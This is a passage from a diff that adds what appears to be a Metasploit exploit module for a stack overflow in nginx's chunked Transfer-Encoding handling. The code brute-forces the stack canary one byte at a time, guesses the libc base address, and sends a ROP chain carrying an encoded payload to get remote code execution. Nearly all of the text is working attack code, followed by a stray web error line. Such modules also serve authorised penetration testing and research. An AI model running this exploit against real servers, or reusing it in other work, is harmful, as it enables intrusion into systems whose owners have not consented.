+ request << "Host: #{Rex::Text.rand_text_alpha(16)}\r\n"
+ request << "Transfer-Encoding: Chunked\r\n"
+ request << "\r\n"
+ request << "#{data}"
+
+ sock.put(request)
+
+ res = nil
+
+ begin
+ res = sock.get_once(-1, 0.5)
+ rescue EOFError => e
+ # Ignore
+ end
+
+ disconnect
+ return res
+
+ end
+
+ def brute_exploit(target_addrs)
+ connect
+
+ print_status("Sending #{payload.encoded.length} byte payload at base 0x%08x" % target_addrs['libc_base'])
+
+ if target['CanaryOffset'].nil?
+ data = random_chunk_size(1024)
+ data << Rex::Text.rand_text_alpha(target['Offset'] - data.size)
+ else
+ data = random_chunk_size(1024)
+ data << Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)
+ data << [datastore['CANARY']].pack('V')
+ data << Rex::Text.rand_text_hex(target['Offset'])
+ end
+
+ data << generate_rop_payload('nginx', payload.encoded, {'target'=>target['Ropname'], 'base'=> target_addrs['libc_base'] })
+
+ begin
+ send_request_fixed(data)
+
+ rescue Errno::ECONNRESET => e
+ # Ignore
+ end
+
+
+ handler
+ end
+
+ def exploit
+ if target['CanaryOffset'].nil?
+ print_status("Target not using a stack canary")
+ else
+
+ if not datastore['CANARY'] == 0xffffffff
+ print_status("Using 0x%08x as stack canary" % datastore['CANARY'])
+ else
+ print_status("Searching for stack canary")
+ canary = find_canary
+
+ if canary.nil? or canary == 0x00000000
+ print_error("Unable to find stack canary. Quiting")
+ return
+ else
+ print_status("Canary found: 0x%08x\n" % canary)
+ datastore['CANARY'] = canary
+ end
+ end
+ end
+
+ if datastore['LIBC_BASE'] == 0xffffffff
+ # Brute force the base address
+ super
+ else
+ brute_exploit({'libc_base' => datastore['LIBC_BASE']})
+ end
+ end
+
+ def find_canary
+
+ # First byte of the canary is already known
+ canary = "\x00"
+
+ # We are going to bruteforce the next 3 bytes one at a time
+ 3.times do |c|
+ print_status("Bruteforcing byte #{c + 1}")
+
+ 0.upto(255) do |i|
+ data = random_chunk_size(1024)
+ data << Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)
+ data << canary
+ data << i.chr
+
+ unless send_request_fixed(data).nil?
+ print_status("Byte #{c + 1} found: 0x%02x\n" % i)
+ canary << i.chr
+ break
+ end
+ end
+ end
+
+ if canary == "\x00"
+ return nil
+ else
+ return canary.unpack('V').first
+ end
+ end
+end
Something went wrong with that request. Please try again.